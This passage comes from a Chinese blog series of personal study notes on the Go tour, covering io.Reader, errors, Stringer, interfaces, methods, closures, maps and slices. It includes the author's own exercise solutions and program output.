Read 用数据填充给定的字节切片并返回填充的字节数和错误值。在遇到数据流的结尾时，它会返回一个 io.EOF 错误。实例演示如下

package main

import (
 "fmt"
 "io"
 "strings"
)

func main() {
 r := strings.NewReader("Come! World!")
 b := make([]byte, 8)
 for {
 n, err := r.Read(b)
 fmt.Printf("n = %v err = %v b = %v\n", n, err, b)
 fmt.Printf("b[:n] = %q\n", b[:n])
 if err == io.EOF {
 break
 }
 }
}

示例代码创建了一个 strings.Reader 并以每次 8 字节的速度读取它的输出。

练习：Reader

实现一个 Reader 类型，它产生一个 ASCII 字符 ‘A’ 的无限流。

package main

import "github.com/Go-zh/tour/reader"

type MyReader struct{}

// TODO: Add a Read([]byte) (int, error) method to MyReader.

func (a MyReader) Read(b []byte) (int, error) {
 b[0] = 'A'
 return 1, nil // 1表示一个字符
}

func main() {
 reader.Validate(MyReader{})
}

练习：rot13Reader

有种常见的模式是一个 io.Reader 包装另一个 io.Reader ，然后通过某种方式修改其数据流。

例如，gzip.NewReader 函数接受一个 io.Reader （已压缩的数据流）并返回一个同样实现了 io.Reader 的 *gzip.Reader （解压后的数据流）。

编写一个实现了 io.Reader 并从另一个 io.Reader 中读取数据的 rot13Reader ，通过应用 rot13 代换密码对数据流进行修改。

rot13Reader 类型已经提供。实现 Read 方法以满足 io.Reader 。关于rot13的解释，可以到ROT13了解。我的练习如下

package main

import (
 "io"
 "os"
 "strings"
)

type rot13Reader struct {
 r io.Reader
}

func (r *rot13Reader) Read(b []byte) (int, error) {
 n, err := r.r.Read(b)

 if err != nil {
 return n, err
 }

 for i := 0; i < len(b); i++ {
 if (b[i] >= 'A' && b[i] <= 'M') || (b[i] >= 'a' && b[i] <= 'm') {
 b[i] += 13
 } else if (b[i] >= 'N' && b[i] <= 'Z') || (b[i] >= 'n' && b[i] <= 'z') {
 b[i] -= 13
 }
 }

 return n, err
}

func main() {
 s := strings.NewReader("Lbh penpxrq gur pbqr!")
 r := rot13Reader{s}
 io.Copy(os.Stdout, &r)
}

我们主要实现的逻辑是下面的逻辑

---------------------------------------------------------
输入|ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz
---------------------------------------------------------
输出|NOPQRSTUVWXYZABCDEFGHIJKLMnopqrstuvwxyzabcdefghijklm
---------------------------------------------------------

输入A的时候我们要转换N，依次类推

Go基础学习记录 - Go指南 - 错误

Thu, 31 Jul 2025 10:26:13 +0000

环境

go version go1.10.1 darwin/amd64

错误

Go 程序使用 error 值来表示错误状态。

与 fmt.Stringer 类似， error 类型是一个内建接口：

type error interface {
 Error() string
}

(与 fmt.Stringer 类似， fmt 包在打印值时也会满足 error 。)

通常函数会返回一个 error 值，调用它的代码应当判断这个错误是否等于 nil 来进行错误处理。

i, err := strconv.Atoi("42")
if err != nil {
 fmt.Printf("couldn't convert number: %v\n", err)
 return
}

fmt.Println("Converted integer:", i)

error 为 nil 时表示成功；非 nil 的 error 表示失败。如下实例

package main

import (
 "fmt"
 "time"
)

type CustomError struct {
 When time.Time
 What string
}

func (e CustomError) Error() string {
 return fmt.Sprintf("时间 %v, %s", e.When, e.What)
}

func run() error {
 return &CustomError{
 time.Now(),
 "Running Wrong",
 }
}

func main() {
 if err := run(); err != nil {
 fmt.Println(err)
 }
}

注意这里要实现的方法

func (e CustomError) Error() string {
 return fmt.Sprintf("时间 %v, %s", e.When, e.What)
}

只有实现了这个才符合接口的定义

练习：错误

从之前的练习中[https://www.xiaorongmao.com/blog/12]复制 Sqrt 函数，修改它使其返回 error 值。
之前实现的函数如下

func Sqrt(x float64) float64 {
 z := float64(1)
 for n := 0; n < 10; n++ {
 z = z - ((z*z - x) / (2 * z))
 }

 return z
}

Sqrt 接受到一个负数时，应当返回一个非 nil 的错误值。复数同样也不被支持。

创建一个新的类型

type ErrNegativeSqrt float64

并为其实现

func (e ErrNegativeSqrt) Error() string

方法使其拥有 error 值，通过 ErrNegativeSqrt(-2).Error() 调用该方法应返回 “cannot Sqrt negative number: -2” 。

package main

import (
 "fmt"
)

type ErrNegativeSqrt float64

func (e ErrNegativeSqrt) Error() string {
 return fmt.Sprintf("cannot Sqrt negative number: %v", float64(e))
}

func Sqrt(x float64) (float64, error) {
 if x < 0 {
 return x, ErrNegativeSqrt(x)
 }

 z := float64(1)
 for n := 0; n < 10; n++ {
 z = z - ((z*z - x) / (2 * z))
 }

 return z, nil
 // return 0, nil
}

func main() {
 fmt.Println(Sqrt(2))
 fmt.Println(Sqrt(-2))
}

运行后得到的结果如下

1.414213562373095 <nil>
-2 cannot Sqrt negative number: -2

注意：在 Error 方法内调用 fmt.Sprintf(e) 会让程序陷入死循环。可以通过先转换 e 来避免这个问题：fmt.Sprintf(float64(e)) 。这是为什么呢？
暂时并没有找到官方的权威回复，找到的也只说如果e被调用的时候，实际上是调用了e.Error()，这样就会不断的调用e.Error()从而导致死循环

Go基础学习记录 - Go指南 - Stringer

Thu, 31 Jul 2025 10:26:10 +0000

环境

go version go1.10.1 darwin/amd64

Stringer

fmt 包中定义的 Stringer 是最普遍的接口之一。

type Stringer interface {
 String() string
}

Stringer 是一个可以用字符串描述自己的类型。fmt 包（还有很多包）都通过此接口来打印值。

package main

import "fmt"

type Person struct {
 Name string
 Age int
}

func (p Person) String() string {
 return fmt.Sprintf("%v (%v years)", p.Name, p.Age)
}

func main() {
 a := Person{"Durban Zhang", 42}
 z := Person{"Skuran Ma", 42}
 fmt.Println(a, z)
}

练习：Stringer

通过让 IPAddr 类型实现 fmt.Stringer 来打印点号分隔的地址。例如，IPAddr{1, 2, 3, 4} 应当打印为 “1.2.3.4” 。
这个实现还是比较简单的，如果上面的例子看懂了这个实现起来根本不费力气。

package main

import "fmt"

type IPAddr [4]byte

// TODO: Add a "String() string" method to IPAddr.

func (ip IPAddr) String() string {
 return fmt.Sprintf("%v.%v.%v.%v", ip[0],ip[1],ip[2],ip[3])
}

func main() {
 hosts := map[string]IPAddr{
 "loopback": {127, 0, 0, 1},
 "googleDNS": {8, 8, 8, 8},
 }
 for name, ip := range hosts {
 fmt.Printf("%v: %v\n", name, ip)
 }
}

Go基础学习记录 - Go指南 - 类型选择

Thu, 31 Jul 2025 10:26:07 +0000

环境

go version go1.10.1 darwin/amd64

类型选择

类型选择是一种按顺序从几个类型断言中选择分支的结构。

类型选择与一般的 switch 语句相似，不过类型选择中的 case 为类型（而非值），它们针对给定接口值所存储的值的类型进行比较。

switch v := i.(type) {
case T:
 // v 的类型为 T
case S:
 // v 的类型为 S
default:
 // 没有匹配，v 与 i 的类型相同
}

类型选择中的声明与类型断言 i.(T) 的语法相同，只是具体类型 T 被替换成了关键字 type 。此选择语句判断接口值 i 保存的值类型是 T 还是 S 。在 T 或 S 的情况下，变量 v 会分别按 T 或 S 类型保存 i 拥有的值。在默认（即没有匹配）的情况下，变量 v 与 i 的接口类型和值相同，具体使用如下

package main

import "fmt"

func do(i interface{}) {
 switch v := i.(type) {
 case int: // int类型
 fmt.Printf("Twice %v is %v\n", v, v*2)
 case string: // string类型
 fmt.Printf("%q is %v bytes long\n", v, len(v))
 default:
 fmt.Printf("I don't know about type %T!\n", v)
 }
}

func main() {
 do(21)
 do("hello")
 do(true)
}

运行后得到的结果如下

Twice 21 is 42
"hello" is 5 bytes long
I don't know about type bool!

Go基础学习记录 - Go指南 - 类型断言

Thu, 31 Jul 2025 10:26:04 +0000

环境

go version go1.10.1 darwin/amd64

类型断言

类型断言提供了访问接口值底层具体值的方式。

t := i.(T)

该语句断言接口值 i 保存了具体类型 T ，并将其底层类型为 T 的值赋予变量 t 。

若 i 并未保存 T 类型的值，该语句就会触发一个异常。

为了判断一个接口值是否保存了一个特定的类型，类型断言可返回两个值：其底层值以及一个报告断言是否成功的布尔值。

t, ok := i.(T)

若 i 保存了一个 T ，那么 t 将会是其底层值，而 ok 为 true 。

否则， ok 将为 false 而 t 将为 T 类型的零值，程序并不会产生异常。

请注意这种语法和读取一个映射时的相同之处。示例如下

package main

import "fmt"

func main() {
 var i interface{} = "hello"

 s := i.(string)
 fmt.Println(s)

 s, ok := i.(string)
 fmt.Println(s, ok)

 f, ok := i.(float64)
 fmt.Println(f, ok)

 f = i.(float64) // panic
 fmt.Println(f)
}

稍微解释下

f = i.(float64) // panic
fmt.Println(f)

这里就是讲的意思就是保存的类型值不是一个string而是一个float，从

var i interface{} = "hello"

这里可以看出，接口的类型值是一个string，这个时候给予float64的话，导致类型不符合而报错

Go基础学习记录 - Go指南 - 接口

Thu, 31 Jul 2025 10:26:02 +0000

环境

go version go1.10.1 darwin/amd64

接口

接口类型是由一组方法签名定义的集合。接口类型的值可以保存任何实现了这些方法的值。实例演示如下

package main

import (
 "fmt"
 "math"
)

// Rectangle 长方形接口
type Rectangle interface {
 Area() float64
}

func main() {
 var a Rectangle
 f := MyFloat(-math.Sqrt2)
 v := Square{3}

 a = f // a MyFloat 实现了 Rectangle
 a = &v // a *Square 实现了 Rectangle

 // 下面一行，v 是一个 Square（而不是 *Square）
 // 所以没有实现 Rectangle
 // a = v

 fmt.Println(a.Area())
}

// MyFloat 自定义的类型
type MyFloat float64

// Area Area方法
func (f MyFloat) Area() float64 {
 if f < 0 {
 return float64(-f)
 }
 return float64(f)
}

// Square 正方形
type Square struct {
 width float64
}

// Area 面积
func (v *Square) Area() float64 {
 return v.width * v.width
}

注意：

a = v

这行代码会报错的
原因是，由于 Area 方法只为 *Square （指针类型）定义，因此 Square （值类型）并未实现 Rectangle。

接口与隐式实现

类型通过实现一个接口的所有方法来实现该接口。既然无需专门显式声明，也就没有“implements“关键字。

隐式接口从接口的实现中解耦了定义，这样接口的实现可以出现在任何包中，无需提前准备。

因此，也就无需在每一个实现上增加新的接口名称，这样同时也鼓励了明确的接口定义。

接口值

在内部，接口值可以看做包含值和具体类型的元组，如下

(value, type)

接口值保存了一个具体底层类型的具体值。接口值调用方法时会执行其底层类型的同名方法。实例演示如下

package main

import (
 "fmt"
 "math"
)

type I interface {
 M()
}

type T struct {
 S string
}

func (t *T) M() {
 fmt.Println(t.S)
}

type F float64

func (f F) M() {
 fmt.Println(f)
}

func main() {
 var i I

 i = &T{"Hello"}
 describe(i)
 i.M()

 i = F(math.Pi)
 describe(i)
 i.M()
}

func describe(i I) {
 fmt.Printf("(%v, %T)\n", i, i)
}

运行后得到的结果如下

(&{Hello}, *main.T)
Hello
(3.141592653589793, main.F)
3.141592653589793

底层值为 nil 的接口值

即便接口内的具体值为 nil，方法仍然会被 nil 接收者调用。

在一些语言中，这会触发一个空指针异常，但在 Go 中通常会写一些方法来优雅地处理它（如本例中的 M 方法）。注意：保存了 nil 具体值的接口其自身并不为 nil 。实例演示如下

package main

import "fmt"

type I interface {
 M()
}

type T struct {
 S string
}

func (t *T) M() {
 if t == nil {
 fmt.Println("<nil>")
 return
 }

 fmt.Println(t.S)
}

func main() {
 var i I

 var t *T

 i = t

 describe(i)
 i.M()

 i = &T{"Hello"}
 describe(i)
 i.M()
}

func describe(i I) {
 fmt.Printf("(%v, %T)", i, i)
}

运行后得到的结果如下

(<nil>, *main.T)<nil>
(&{Hello}, *main.T)Hello

nil 接口值

nil 接口值既不保存值也不保存具体类型。为 nil 接口调用方法会产生运行时错误，因为接口的元组内并未包含能够指明该调用哪个具体方法的类型。实例演示如下

package main

import "fmt"

type I interface {
 M()
}

func main() {
 var i I

 describe(i)
 i.M()

}

func describe(i I) {
 fmt.Println("(%v, %T)", i, i)
}

运行后结果输出如下

(%v, %T) <nil> <nil>
panic: runtime error: invalid memory address or nil pointer dereference
[signal SIGSEGV: segmentation violation code=0x1 addr=0x0 pc=0x108d66b]

goroutine 1 [running]:
main.main()
 /Users/durban/go/src/github.com/durban.zhang/example/example.go:13 +0x2b
exit status 2

空接口

指定了零个方法的接口值被称为空接口：

interface{}

空接口可保存任何类型的值。（因为每个类型都至少实现了零个方法。）空接口被用来处理未知类型的值。例如，fmt.Print 可接受类型为 interface{} 的任意数量的参数。如下实例演示

package main

import "fmt"

func main() {
 var i interface{}

 describe(i)

 i = 42
 describe(i)

 i = "Hello"
 describe(i)
}

func describe(i interface{}) {
 fmt.Printf("(%v, %T)\n", i, i)
}

运行后输出结果如下

(<nil>, <nil>)
(42, int)
(Hello, string)

Go基础学习记录 - Go指南 - 选择值或指针作为接收者

Thu, 31 Jul 2025 10:25:59 +0000

环境

go version go1.10.1 darwin/amd64

选择值或指针作为接收者

使用指针接收者的原因有二：

首先，方法能够修改其接收者指向的值。

其次，这样可以避免在每次调用方法时复制该值。若值的类型为大型结构体时，这样做会更加高效。

下面看下面的代码演示

package main

import (
 "fmt"
)

// Rectangle 长方形
type Rectangle struct {
 width, height float64
}

// Area Rectangle的面积
func (v *Rectangle) Area() float64 {
 return v.width * v.height
}

// Scale 用给定的值调整比例
func (v *Rectangle) Scale(f float64) {
 v.width = v.width * f
 v.height = v.height * f
}

func main() {
 v := &Rectangle{3, 4}
 fmt.Printf("调整比例之前 : %+v, Area: %v\n", v, v.Area())
 v.Scale(5)
 fmt.Printf("调整比例之后 : %+v, Area: %v\n", v, v.Area())
}

运行后得到的结果如下

调整比例之前 : &{width:3 height:4}, Area: 12
调整比例之后 : &{width:15 height:20}, Area: 300

在实例中， Scale 和 Area 接收者的类型为 *Rectangle ，即便 Area 并不需要修改其接收者。

通常来说，所有给定类型的方法都应该有值或指针接收者，但并不应该二者混用。

Go基础学习记录 - Go指南 - 指针与函数

Thu, 31 Jul 2025 10:25:56 +0000

环境

go version go1.10.1 darwin/amd64

指针与函数

简单记录下指针与函数，修改下上篇文章[Go基础学习记录 - Go指南 - 指针接收者]的代码，将方法改为函数，实例[实例1]代码如下

package main

import (
 "fmt"
)

// Rectangle 长方形
type Rectangle struct {
 width, height float64
}

// Area Rectangle的面积
func Area(v Rectangle) float64 {
 return v.width * v.height
}

// Scale 用给定的值调整比例
func Scale(v *Rectangle, f float64) {
 v.width = v.width * f
 v.height = v.height * f
}

func main() {
 v := Rectangle{3, 4}
 fmt.Println(v)
 Scale(&v, 10)
 fmt.Println(v)
 fmt.Println(Area(v))
}

执行后结果如下

{3 4}
{30 40}
1200

然后将Scale中第一个参数的*去掉，实例[实例2]代码如下

package main

import (
 "fmt"
)

// Rectangle 长方形
type Rectangle struct {
 width, height float64
}

// Area Rectangle的面积
func Area(v Rectangle) float64 {
 return v.width * v.height
}

// Scale 用给定的值调整比例
func Scale(v Rectangle, f float64) {
 v.width = v.width * f
 v.height = v.height * f
}

func main() {
 v := Rectangle{3, 4}
 fmt.Println(v)
 Scale(v, 10)
 fmt.Println(v)
 fmt.Println(Area(v))
}

运行后得到的结果如下

{3 4}
{3 4}
12

通过上面的两个例子的对比我们知道如果通过函数而不是方法的方式实现上篇文章的一样的效果的话，传递到参数需要接收一个指针

方法与指针重定向

上面的两个实例中，实例1中

Scale(v *Rectangle, f float64)

在调用的时候第一个参数必须传递一个指针，如果传递的不是指针，结果有异常，会遇到类似如下的错误

cannot use v (type Rectangle) as type *Rectangle in argument to Scale

但是如果是上篇文章中，以指针为接收者的方法被调用时，接收者既能为值又能为指针，实例代码如下

package main

import (
 "fmt"
)

// Rectangle 长方形
type Rectangle struct {
 width, height float64
}

// Area Rectangle的面积
func (v Rectangle) Area() float64 {
 return v.width * v.height
}

// Scale 用给定的值调整比例
func (v *Rectangle) Scale(f float64) {
 v.width = v.width * f
 v.height = v.height * f
}

func main() {
 v := Rectangle{3, 4}
 fmt.Println(v)
 v.Scale(10)
 fmt.Println(v)
 fmt.Println(v.Area())
 fmt.Println("=========== 分隔线 ============")
 p := &Rectangle{3, 4}
 fmt.Println(p)
 p.Scale(10)
 fmt.Println(p)
 fmt.Println(p.Area())
}

运行后输出结果如下

{3 4}
{30 40}
1200
=========== 分隔线 ============
&{3 4}
&{30 40}
1200

从上面p和v的对比就能看出最终的Area得出的值是一致的
对于语句 v.Scale(10) ，即便 v 是个值而非指针，带指针接收者的方法也能被直接调用。也就是说，由于 Scale 方法有一个指针接收者，为方便起见，Go 会将语句 v.Scale(10) 解释为 (&v).Scale(5)

如果在实例中在增加如下代码

// ScaleFunc 用给定的值调整比例
func (v Rectangle) ScaleFunc(f float64) {
 v.width = v.width * f
 v.height = v.height * f
}

这个时候我们在调用的时候，如下代码

m := &Rectangle{3, 4}
fmt.Println(m)
m.ScaleFunc(10)
fmt.Println(m)
fmt.Println(m.Area())

和下面的这段代码

m := Rectangle{3, 4}
fmt.Println(m)
m.ScaleFunc(10)
fmt.Println(m)
fmt.Println(m.Area())

运行的结果是一致的

但是函数的话，如果接受的参数是指的话，必须传递值，如果传递指针程序会出异常。如果将ScaleFunc方法替换为函数，如下代码

// ScaleFunc 用给定的值调整比例
func ScaleFunc(v Rectangle, f float64) {
 v.width = v.width * f
 v.height = v.height * f
}

fmt.Println(ScaleFunc(v)) // OK
fmt.Println(ScaleFunc(&v)) // 编译错误！

Go基础学习记录 - Go指南 - 指针接收者

Thu, 31 Jul 2025 10:25:52 +0000

环境

go version go1.10.1 darwin/amd64

指针接收者

Go可以为指针接收者声明方法。这意味着对于某类型 T ，接收者的类型可以用 *T 的语法。（此外， T 不能是像 *int 这样的指针。）示例如下

package main

import (
 "fmt"
)

// Rectangle 长方形
type Rectangle struct {
 width, height float64
}

// Area Rectangle的面积
func (v Rectangle) Area() float64 {
 return v.width * v.height
}

// Scale 用给定的值调整比例
func (v *Rectangle) Scale(f float64) {
 v.width = v.width * f
 v.height = v.height * f
}

func main() {
 v := Rectangle{3, 4}
 fmt.Println(v)
 v.Scale(10)
 fmt.Println(v)
 fmt.Println(v.Area())
}

运行后得到如下结果

{3 4}
{30 40}
1200

例如，这里为 *Rectangle 定义了 Scale 方法。

指针接收者的方法可以修改接收者指向的值（就像 Scale 在这做的）。由于方法经常需要修改它的接收者，指针接收者比值接收者更常用。试着移除 Scale 函数声明中的 * ，观察此程序的行为如何变化。如下

package main

import (
 "fmt"
)

// Rectangle 长方形
type Rectangle struct {
 width, height float64
}

// Area Rectangle的面积
func (v Rectangle) Area() float64 {
 return v.width * v.height
}

// Scale 用给定的值调整比例
func (v Rectangle) Scale(f float64) {
 v.width = v.width * f
 v.height = v.height * f
}

func main() {
 v := Rectangle{3, 4}
 fmt.Println(v)
 v.Scale(10)
 fmt.Println(v)
 fmt.Println(v.Area())
}

运行后得到如下结果

{3 4}
{3 4}
12

若使用值接收者，那么 Scale 方法会对原始 Rectangle 值的副本进行操作。（对于函数的其它参数也是如此。） Scale 方法必须用指针接受者来更改 main 函数中声明的 Rectangle 的值。

Go基础学习记录 - Go指南 - 方法

Thu, 31 Jul 2025 10:25:49 +0000

环境

go version go1.10.1 darwin/amd64

方法

Go 没有类。不过你可以为结构体类型定义方法。

方法就是一类带特殊的接收者参数的函数。

方法接收者在它自己的参数列表内，位于 func 关键字和方法名之间。

在此例中， Area 方法拥有一个名为 v ，类型为 Rectangle 的接收者。具体如下

package main

import (
 "fmt"
)

// Rectangle 长方形
type Rectangle struct {
 width, height float64
}

// Area 面积
func (r Rectangle) Area() float64 {
 return r.width * r.height
}

func main() {
 v := Rectangle{3, 4}
 fmt.Println(v.Area())
}

方法即函数

记住：方法只是个带接收者参数的函数。

上面代码中 Area 的写法就是个正常的函数，功能并没有什么变化。

方法接收者

在Go的方法中，也可以为非结构体类型声明方法。非结构体如float64，即区别于struct的。

如下面的例子中，我们看到了一个带 Abs 方法的数值类型 CustomFloat 。方法接收者的类型只能是在同一包内定义的类型，如果方法的接收者类型是在其他包内定义的类型（如 int 之类的内建类型），是不能用来声明方法的。具体如下

package main

import (
 "fmt"
)

// CustomFloat 自定义float64
type CustomFloat float64

// Abs 绝对值
func (f CustomFloat) Abs() float64 {
 if f < 0 {
 return float64(-f)
 }
 return float64(f)
}

func main() {
 f := CustomFloat(-2)
 fmt.Println(f.Abs())
}

Go基础学习记录 - Go指南 - 函数值和函数的闭包

Thu, 31 Jul 2025 10:25:46 +0000

环境

go version go1.10.1 darwin/amd64

函数值

函数也是值。它们可以像其它值一样传递。函数值可以用作函数的参数或返回值。

package main

import (
 "fmt"
 "math"
)

func compute(fn func(float64, float64) float64) float64 {
 return fn(3, 4)
}

func main() {
 hypot := func(x, y float64) float64 {
 return math.Sqrt(x*x + y*y)
 }
 fmt.Println(hypot(5, 12))

 fmt.Println(compute(hypot))
 fmt.Println(compute(math.Pow))
}

函数的闭包

Go 函数可以是一个闭包。闭包是一个函数值，它引用了其函数体之外的变量。该函数可以访问并赋予其引用的变量的值，换句话说，该函数被"绑定"在了这些变量上。

例如，函数 adder 返回一个闭包。每个闭包都被绑定在其各自的 sum 变量上。

package main

import "fmt"

func adder() func(int) int {
 sum := 0
 return func(x int) int {
 sum += x
 return sum
 }
}

func main() {
 pos, neg := adder(), adder()
 for i := 0; i < 10; i++ {
 fmt.Println(
 pos(i),
 neg(-2*i),
 )
 }
}

运行后得到的结果如下

练习：斐波纳契闭包

让我们用函数做些好玩的事情。

实现一个 fibonacci 函数，它返回一个函数（闭包），该闭包返回一个斐波纳契数列 (0, 1, 1, 2, 3, 5, ...) 。实现如下，实现有点繁琐，应该有更好的实现方式

package main

import "fmt"

// fibonacci 是一个返回int的值的函数
func fibonacci() func() int {
 f0, f1 := 0, 1
 n := 0
 return func() int {
 if n == 0 {
 n += 1
 return f0
 }

 if n == 1 {
 n += 1
 return f1
 }

 f2 := f1 + f0
 f0 = f1
 f1 = f2

 return f2
 }
}

func main() {
 f := fibonacci()
 for i := 0; i < 10; i++ {
 fmt.Println(f())
 }
}

运行后输出结果如下

Go基础学习记录 - Go指南 - 映射

Thu, 31 Jul 2025 10:25:28 +0000

环境

go version go1.10.1 darwin/amd64

映射

映射将键映射到值。

映射的零值为nil，nil映射既没有键，也不能添加键。make函数会返回给定类型的映射，并将其初始化备用。如下演示

package main

import "fmt"

// Rectangle width height
type Rectangle struct {
 width, height float64
}

var m map[string]Rectangle

func main() {
 m = make(map[string]Rectangle)
 m["one"] = Rectangle{
 40.68433, 74.39967,
 }
 fmt.Println(m["one"])
}

映射的语法

映射的语法与结构体相似，不过必须有键名。

package main

import "fmt"

// Rectangle width height
type Rectangle struct {
 width, height float64
}

var m = map[string]Rectangle{
 "one": Rectangle{
 40.68433, 74.39967,
 },
 "two": Rectangle{
 37.42202, 122.08408,
 },
}

func main() {
 fmt.Println(m)
}

映射的语法特殊情况

若顶级类型只是一个类型名，则可以在语法的元素中省略它。

package main

import "fmt"

// Rectangle width height
type Rectangle struct {
 width, height float64
}

var m = map[string]Rectangle{
 "one": {40.68433, 74.39967},
 "two": {37.42202, 122.08408},
}

func main() {
 fmt.Println(m)
}

修改映射

在映射m中插入或修改元素：

m[key] = elem

获取元素：

elem = m[key]

删除元素：

delete(m, key)

通过双赋值检测某个键是否存在：

elem, ok = m[key]

若 key 在 m 中， ok 为 true ；否则， ok 为 false 。
若 key 不在映射中，那么 elem 是该映射元素类型的零值。
同样的，当从映射中读取某个不存在的键时，结果是映射的元素类型的零值。
注：若 elem 或 ok 还未声明，可以使用短变量声明：

elem, ok := m[key]

下面看个详细的实例演示

package main

import "fmt"

func main() {
 m := make(map[string]int)

 m["Q"] = 42
 fmt.Println("The value:", m["Q"])

 m["Q"] = 48
 fmt.Println("The value:", m["Q"])

 delete(m, "Q")
 fmt.Println("The value:", m["Q"])

 v, ok := m["Q"]
 fmt.Println("The value:", v, "status:", ok)
}

运行后结果如下

The value: 42
The value: 48
The value: 0
The value: 0 status: false

练习：映射

实现 WordCount 。它应当返回一个映射，其中包含每个字符串 s 中"单词"的个数。函数 wc.Test 会对此函数执行一系列测试用例，并输出成功还是失败。
strings.Fields 很有帮助。
这个是官网的例子，下面是我的实现方式，有兴趣的可以实现下

package main

import "strings"
import (
 "golang.org/x/tour/wc"
)

func WordCount(s string) map[string]int {
 var x = make(map[string]int)
 for _,n := range strings.Fields(s) {
 x[n] += 1
 }
 return x
}

func main() {
 wc.Test(WordCount)
}

运行后输出结果如下

PASS
 f("I am learning Go!") = 
 map[string]int{"I":1, "am":1, "learning":1, "Go!":1}
PASS
 f("The quick brown fox jumped over the lazy dog.") = 
 map[string]int{"brown":1, "fox":1, "dog.":1, "The":1, "jumped":1, "over":1, "the":1, "lazy":1, "quick":1}
PASS
 f("I ate a donut. Then I ate another donut.") = 
 map[string]int{"I":2, "ate":2, "a":1, "donut.":2, "Then":1, "another":1}
PASS
 f("A man a plan a canal panama.") = 
 map[string]int{"A":1, "man":1, "a":2, "plan":1, "canal":1, "panama.":1}

PASS代表通过测试，给自己点个"赞"

Go基础学习记录 - Go指南 - Range

Thu, 31 Jul 2025 10:06:58 +0000

环境

go version go1.10.1 darwin/amd64

Range

for循环的range形式可遍历切片或映射。

当使用 for 循环遍历切片时，每次迭代都会返回两个值。第一个值为当前元素的下标，第二个值为该下标所对应元素的一份副本。实例演示如下

package main

import "fmt"

var pow = []int{1, 2, 4, 8, 16, 32, 64, 128}

func main() {
 for i, v := range pow {
 fmt.Printf("%d = %d\n", i, v)
 }
}

运行后结果如下

range对索引跟值的处理

可以将下标或值赋予 _ 来忽略它。若你只需要索引，去掉 , value 的部分即可。实例演示如下

package main

import "fmt"

func main() {
 pow := make([]int, 10)
 for i := range pow {
 pow[i] = 1 << uint(i) // == 2**i
 }
 for _, value := range pow {
 fmt.Printf("%d\n", value)
 }
}

运行后的结果和上面一致

练习：切片

实现 Pic 。它应当返回一个长度为 dy 的切片，其中每个元素是一个长度为 dx ，元素类型为 uint8 的切片。当你运行此程序时，它会将每个整数解释为灰度值（好吧，其实是蓝度值）并显示它所对应的图像。

图像的选择由你来定。几个有趣的函数包括 (x+y)/2 、x*y 、 x^y 、 x*log(y) 和 x%(y+1) 。

（提示：需要使用循环来分配 [][]uint8 中的每个 []uint8 ；请使用 uint8(intValue) 在类型之间转换；你可能会用到 math 包中的函数。）

这个是官方的一个练习，有兴趣的可以自己实现下，下面是我的实现

package main

// import "math"

import "golang.org/x/tour/pic"

func Pic(dx, dy int) [][]uint8 {
 x := make([]uint8, dx)
 y := make([][]uint8, dy)

 for i := range y {
 for j := range x {

 // 第一种
 // m := float64(i)
 // t := float64(j)
 // t = float64(math.Log(t))
 // x[j] = uint8(m * t)

 // 第二种
 // x[j] = uint8((i + j) / 2)

 // 第三种
 // x[j] = uint8(i * j)

 // 第四种
 // x[j] = uint8(i ^ j)

 // 第五种
 x[j] = uint8(i % (j + 1))
 }
 y[i] = x
 }

 return y

}

func main() {
 pic.Show(Pic)
}

第一种方式展示的图片如下

第二种方式展示的图片如下

第三种方式展示的图片如下

第四种方式展示的图片如下

第五种方式展示的图片如下

Go基础学习记录 - Go指南 - 切片

Thu, 31 Jul 2025 10:06:55 +0000

环境

go version go1.10.1 darwin/amd64

切片

每个数组的大小都是固定的。而切片则为数组元素提供动态大小的、灵活的视角。在实践中，切片比数组更常用。

类型 []T 表示一个元素类型为 T 的切片。

以下表达式为数组 a 的前五个元素创建了一个切片。

a[0:5]

演示如下

package main

import "fmt"

func main() {
 fruit := []string{"apple", "banana", "orange"}

 var spliceFruit = fruit[1:3]
 fmt.Println(spliceFruit)
}

切片可以像数组一样，通过索引来引用数值

切片并不存储任何数据，它只是描述了底层数组中的一段。

更改切片的元素会修改其底层数组中对应的元素。与它共享底层数组的切片都会监听到这些修改。实例如下

package main

import "fmt"

func main() {
 fruits := []string{
 "apple",
 "banana",
 "orange",
 "tomato",
 "peach",
 }

 fmt.Println(fruits)

 a := fruits[0:2]
 b := fruits[1:3]
 fmt.Println(a, b)

 b[0] = "XXX"
 fmt.Println(a, b)
 fmt.Println(fruits)
}

切片语法

切片语法类似于没有长度的数组语法。

这是一个数组文语法：

[3]bool{true, true, false}

下面这样则会创建一个和上面相同的数组，然后构建一个引用了它的切片：

[]bool{true, true, false}

下面使用跟过的实例演示下

package main

import "fmt"

func main() {
 aNum := []int{
 1,
 2,
 3,
 4,
 5,
 }
 fmt.Println(aNum)

 aBool := []bool{
 true,
 false,
 true,
 false,
 true,
 }
 fmt.Println(aBool)

 aStruct := []struct {
 i int
 b bool
 }{
 {1, true},
 {2, false},
 {3, true},
 {4, false},
 {5, true},
 }
 fmt.Println(aStruct)
}

运行后得到如下结果

[1 2 3 4 5]
[true false true false true]
[{1 true} {2 false} {3 true} {4 false} {5 true}]

切片的默认行为

在进行切片时，你可以利用它的默认行为来忽略上下界。

切片下界的默认值为 0 ，上界则是该切片的长度。

对于数组

var a [10]int

来说，以下切片是等价的：

a[0:10]
a[:10]
a[0:]
a[:]

下面简单的看个实例

package main

import "fmt"

func main() {
 s := []int{2, 3, 5, 7, 11, 13}

 s1 := s[1:4]
 fmt.Println(s1)

 s2 := s[:2]
 fmt.Println(s2)

 s3 := s[1:]
 fmt.Println(s3)
}

切片的长度与容量

切片拥有长度和容量。
切片的长度就是它所包含的元素个数。
切片的容量是从它的第一个元素开始数，到其底层数组元素末尾的个数。
切片s的长度和容量可通过表达式len(s)和cap(s)来获取。
你可以通过重新切片来扩展一个切片，给它提供足够的容量。如下实例

package main

import "fmt"

func main() {
 s := []int{2, 3, 5, 7, 11, 13}
 printSlice(s)

 s = s[:0]
 printSlice(s)

 s = s[:4]
 printSlice(s)

 s = s[2:]
 printSlice(s)
}

func printSlice(s []int) {
 fmt.Printf("len=%d cap=%d %v\n", len(s), cap(s), s)
}

运行后输出结果如下

len=6 cap=6 [2 3 5 7 11 13]
len=0 cap=6 []
len=4 cap=6 [2 3 5 7]
len=2 cap=4 [5 7]

从上面的输出可以看出来，前三个输出在没有改变上界的时候，容量的值是没有变的，但是在设置了上界值之后容量就变化了，这个后面开发的时候要引起注意。

nil 切片

切片的零值是 nil 。nil 切片的长度和容量为 0 且没有底层数组。实例演示如下

package main

import "fmt"

func main() {
 var s []int
 fmt.Println(s, len(s), cap(s))
 if s == nil {
